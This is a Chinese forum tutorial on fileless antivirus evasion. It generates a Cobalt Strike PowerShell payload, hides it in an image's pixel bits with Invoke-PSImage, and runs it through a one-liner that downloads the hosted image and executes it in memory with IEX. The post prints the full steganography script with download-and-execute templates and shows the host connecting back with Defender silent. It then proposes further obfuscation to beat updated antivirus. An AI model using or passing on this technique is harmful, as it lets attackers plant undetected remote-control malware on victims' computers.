电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 621 人浏览分享

无文件落地免杀的初尝试思考(上)

[复制链接]
621 0
本帖最后由 zhaorong 于 2022-5-23 15:17 编辑

0X00免杀基础

无文件落地免杀是什么?

答:无文件顾名思义,就是无需将payload文件传到目标服务器中,攻击者可以直接利用powershell或者其
他解析器的加载payload到内存中执行。它不光可以使攻击者更加隐蔽的进行攻击以及后续的横向移动同时
还可以解决目标不出网只能通过DNS上线时的棘手问题,操作还更加方便

补充:无文件落地的免杀分为两大类:一类是出网的情况,另一类是不出网情况

解析器是什么?有哪些种类?

答:解析器一般是指在windows环境下的能执行脚本或命令的组件;我们在利用解析器的时候可以根据
攻击时利用的脚本类型进行选择,eg:powershell====>powershell.exe;VB.script====>cscrip
t.exe;bat命令 ====>cmd.exe;javaSrtipt====>mshta.exe

0X01 技术验证

准备条件

一张大于等于1920*1200的图片(因为要把payload代码插入图片中,像素小了不够存放)
cobalt Strike渗透工具(版本要求不大)
Invoke-psimage脚本(这是这次免杀的关键,我们稍后分析)

payload的生成

第一步:使用CS生成.psl的payload

QQ截图20220523114320.png

348.png

839.png

利用脚本进行免杀

我们可以通过git命令,将脚本下载下来git clone https://github.com/AV1080p/Invoke-PSImage.git;
然后将CS生成.psl的payload,放入Invoke-psimage这个脚本的文件夹中即可

52.png

紧接着在Invoke-psimage的文件夹中,打开powershell,输入以下两条命令:

Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -Script .\payload.ps1 -Image .\123.jpg -Out 456.jpg -Web

这里会生成一段payload代码,我们将这段代码,复制到一个.txt文本文件中,我们观察该文件发现:
通过.OpenRead(http://xxxxxx)我们可以知道,应该修改该内容,使得cs可以远程控制它

50.png

小提示:在windows环境下配置,我这里因为某些原因是在靶机上配置而成(因为是小白教程所以考虑大家
都是第一次通过powershell配置脚本,大概率会出现下面报错)

PS C:\Users\yuu\Desktop\Invoke-PSImage>Import-Module . \Invoke-PSImage.ps1
PS C:\Users\yuu\Desktop\Invoke-PSImage>Invoke-PSImage -Script . Jpayio
ad.ps1 -Image . \123. jpg -Out 456.jgWeb

如果出现报错;可以使用powershell管理员打开,后输入set-executionpolicy remotesigned
等待片刻选择Y即可

49.png

payload与cs联动

我们把456.jpg图片放入CS中,后打开Host File模块进行链接的制作

48.png

29.png

最后我们可以看见,联动的链接已经生成;我们把它放入.txt文本文件中代替原来的链接并保存

938.png

28.png

免杀验证

我们将.txt里面的payload放入powershell中运行,我们通过CS可以发现
主机上线且def没有警告

19.png

18.png

0X02 Invoke-PSImage.ps1脚本的技术分析

我们把该脚本复制下来,进行分析,看看它使用了哪些方法,以及未来我们可以怎么修改它...以达到不会被更新
的杀毒软件查杀的效果。接下来我们把脚本分成两个部分进行解读,第一部分是作者的解释,第二部分是免杀代
码第一部分是教学,即如何使用脚本,并说明脚本原理。

function Invoke-PSImage
{
<#
.SYNOPSIS(概要)

在图像中嵌入 PowerShell 脚本并生成 oneliner 来执行它
作者:Barrett Adams(@peewpw)

.DESCRIPTION(描述)
该工具既可以仅使用目标数据创建图像,也可以将有效负载嵌入现有图像。嵌入时2个颜色值(RGB的2个)的最
低有效4位每个像素(有效载荷所需的像素数)。图像质量将受到影响结果,但它看起来仍然不错。图像保存为
PNG并且可以无损压缩而不影响执行有效载荷的能力,因为数据存储在给自己上色。它可以接受大多数图像类
型作为输入,但输出始终是PNG因为它需要是无损的

.PARAMETER Script(参数脚本)
要嵌入到图像中的脚本的路径。

.PARAMETER Out(参数输出)
将生成的图像保存到的文件(图像会是PNG)

.PARAMETER Image(参数图像)
嵌入脚本的图像(可选)

.PARAMETER WebRequest(参数 WebRequest)
使用 Net.WebClient 输出用于从 Web 读取图像的命令;将需要托管图像并将 URL 插入命令中

.EXAMPLER PictureBox(参数图片框)
使用System.Windows.Forms.PictureBox输出用于从Web读取图像的命令;
您将需要托管图像并将URL插入命令中

.EXAMPLE(事列)
PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg
[从文件执行的 Oneliner]
#>

接下来看第二部分代码,分析里面的免杀技巧

[CmdletBinding()] Param (
[Parameter(Position = 0, Mandatory = $True)]
[String]
$Script,

[Parameter(Position = 1, Mandatory = $True)]
[String]
$Out,

[Parameter(Position = 2, Mandatory = $False)]
[String]
$Image,

[switch] $WebClient,

[switch] $PictureBox
)
#如果我们遇到错误就停止而不是犯更多错误
$ErrorActionPreference = "Stop"

#加载一些程序集
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Web")

#规范化路径,因为 powershell 有时对它们不好
if (-Not [System.IO.Path]::IsPathRooted($Script)){
$Script = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Script))
}
if (-Not [System.IO.Path]::IsPathRooted($Out)){
$Out = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Out))
}

$testurl = "http://example.com/" + [System.IO.Path]::GetFileName($Out)

#读脚本
$ScriptBlockString = [IO.File]::ReadAllText($Script)
$in = [ScriptBlock]::Create($ScriptBlockString)
$payload = [system.Text.Encoding]::ASCII.GetBytes($in)

if ($Image) {
#规范化路径
if (-Not [System.IO.Path]::IsPathRooted($Image)){
$Image = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Image))
}

#将读人的图像放入"位图"
$img = New-Object System.Drawing.Bitmap($Image)

$width = $img.Size.Width
$height = $img.Size.Height

#将位图锁定在内存中,以便可以通过编程方式对其进行更改
$rect = New-Object System.Drawing.Rectangle(0, 0, $width, $height);
$bmpData = $img.LockBits($rect, [System.Drawing.Imaging.Image
LockMode]::ReadWrite, $img.PixelFormat)
$ptr = $bmpData.Scan0

#将RGB值复制到数组中以便于修改
$bytes  = [Math]::Abs($bmpData.Stride) * $img.Height
$rgbValues = New-Object byte[] $bytes;
[System.Runtime.InteropServices.Marshal]::Copy($ptr, $rgbValues, 0, $bytes);

#检查有效载荷是否适合图像
if($bytes/2 -lt $payload.Length) {
Write-Error "Image not large enough to contain payload!"
$img.UnlockBits($bmpData)
$img.Dispose()
Break
}

#生成一个随机字符串用于填充图片中的其他像素信息
# (每次调用get-random太慢了)
$randstr = [System.Web.Security.Membership]::GeneratePassword(128,0)
$randb = [system.Text.Encoding]::ASCII.GetBytes($randstr)

#循环遍历RGB数组并将有效负载复制到其中
for ($counter = 0; $counter -lt ($rgbValues.Length)/3; $counter++) {
if ($counter -lt $payload.Length){
$paybyte1 = [math]::Floor($payload[$counter]/16)
$paybyte2 = ($payload[$counter] -band 0x0f)
$paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
} else {
$paybyte1 = ($randb[$counter%113] -band 0x0f)
$paybyte2 = ($randb[($counter+1)%67] -band 0x0f)
$paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
}
$rgbValues[($counter*3)] = ($rgbValues[($counter*3)] -band 0xf0) -bor $paybyte1
$rgbValues[($counter*3+1)] = ($rgbValues[($counter*3+1)] -band 0xf0) -bor $paybyte2
$rgbValues[($counter*3+2)] = ($rgbValues[($counter*3+2)] -band 0xf0) -bor $paybyte3
}

#将RGB值数组复制回位图
[System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $bytes)
$img.UnlockBits($bmpData)

#将图像写入文件
$img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png)
$img.Dispose()

#得到一堆我们需要在oneliner中使用的数字
$rows = [math]::Ceiling($payload.Length/$width)
$array = ($rows*$width)
$lrows = ($rows-1)
$lwidth = ($width-1)
$lpayload = ($payload.Length-1)

if($WebClient) {
$pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap((a Net.WebClient).Op
enRead(`"$testurl`"));`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*
$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.
GetString(`$o[0..$lpayload]))"
} elseif($PictureBox) {
$pscmd = "sal a New-Object;Add-Type -A System.Windows.Forms;(`$d=a System.Windows.Forms.PictureBox).
Load(`"$testurl`");`$g=`$d.Image;`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixe
l(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G -band 15))}};IEX([System.Text.Enco
ding]::ASCII.GetString(`$o[0..$lpayload]))"
} else {
$pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap(`"$Out`");`$o=a Byt
e[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor
((`$p.B-band15)*16)-bor(`$p.G-band15))}};`$g.Dispose();IEX([System.Text.Encoding]::ASCII.Get
String(`$o[0..$lpayload]))"
}

return $pscmd

} else {
# 决定我们的图像需要多大(为了方便数学,总是正方形)
$side = ([int] ([math]::ceiling([math]::Sqrt([math]::ceiling($payload.Length / 3)) + 3) / 4)) * 4

# 决定我们的图像需要多大(为了方便数学,总是正方形)
$rgbValues = New-Object byte[] ($side * $side * 3);
$randstr = [System.Web.Security.Membership]::GeneratePassword(128,0)
$randb = [system.Text.Encoding]::ASCII.GetBytes($randstr)

#循环遍历 RGB 数组并将有效负载复制到其中
for ($counter = 0; $counter -lt ($rgbValues.Length); $counter++) {
if ($counter -lt $payload.Length){
$rgbValues[$counter] = $payload[$counter]
} else {
$rgbValues[$counter] = $randb[$counter%113]
}
}

#将RGB值数组复制回位图
$ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($rgbValues.Length)
[System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $rgbValues.Length)
$img = New-Object System.Drawing.Bitmap($side, $side, ($side*3), [System.Draw
ing.Imaging.PixelFormat]::Format24bppRgb, $ptr)

#将图像写入文件
$img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png)
$img.Dispose()
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($ptr);

#得到一堆我们需要在oneliner中使用的数字
$array = ($side*$side)*3
$lrows = ($side-1)
$lwidth = ($side-1)
$width = ($side)
$lpayload = ($payload.Length-1)

if($WebClient) {
$pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap((a Net.
WebClient).OpenRead(`"$testurl`"));`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$
p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$
width+`$x)*3+2]=`$p.R}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
} elseif($PictureBox) {
$pscmd = "sal a New-Object;Add-Type -A System.Windows.Forms;(`$d=a System.Windows.Forms.Pictu
reBox).Load(`"$testurl`");`$g=`$d.Image;`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=
`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x
)*3+2]=`$p.R}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
} else {
$pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap(`"$Out`");`$o
=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*
3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x)*3+2]=`$p.R}};`$g.Dispose();IEX([System
.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
}

return $pscmd
}

关于如何调用函数,调用了那些函数,函数的调用方式及可替代函数这部分,个人能力有限等一段时间
沉淀后会更新《无文件落地免杀的初尝试思考(下)》,希望不会让大家等太久。

0X03文章总结

我们通过Barrett Adams师傅GitHub里面的代码分析,我们发现免杀的本质还是加密与混淆;我们通过底层函数
的调用与"位图"的RNG隐藏躲避了def检测,那我们把这个数据流在进行Base64加密后执行呢?我们把这个数字
流通过”+“或者函数拼接呢?又或者我们改用其他不那么敏感的函数调用呢?或者用音频或者视频隐写呢?

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.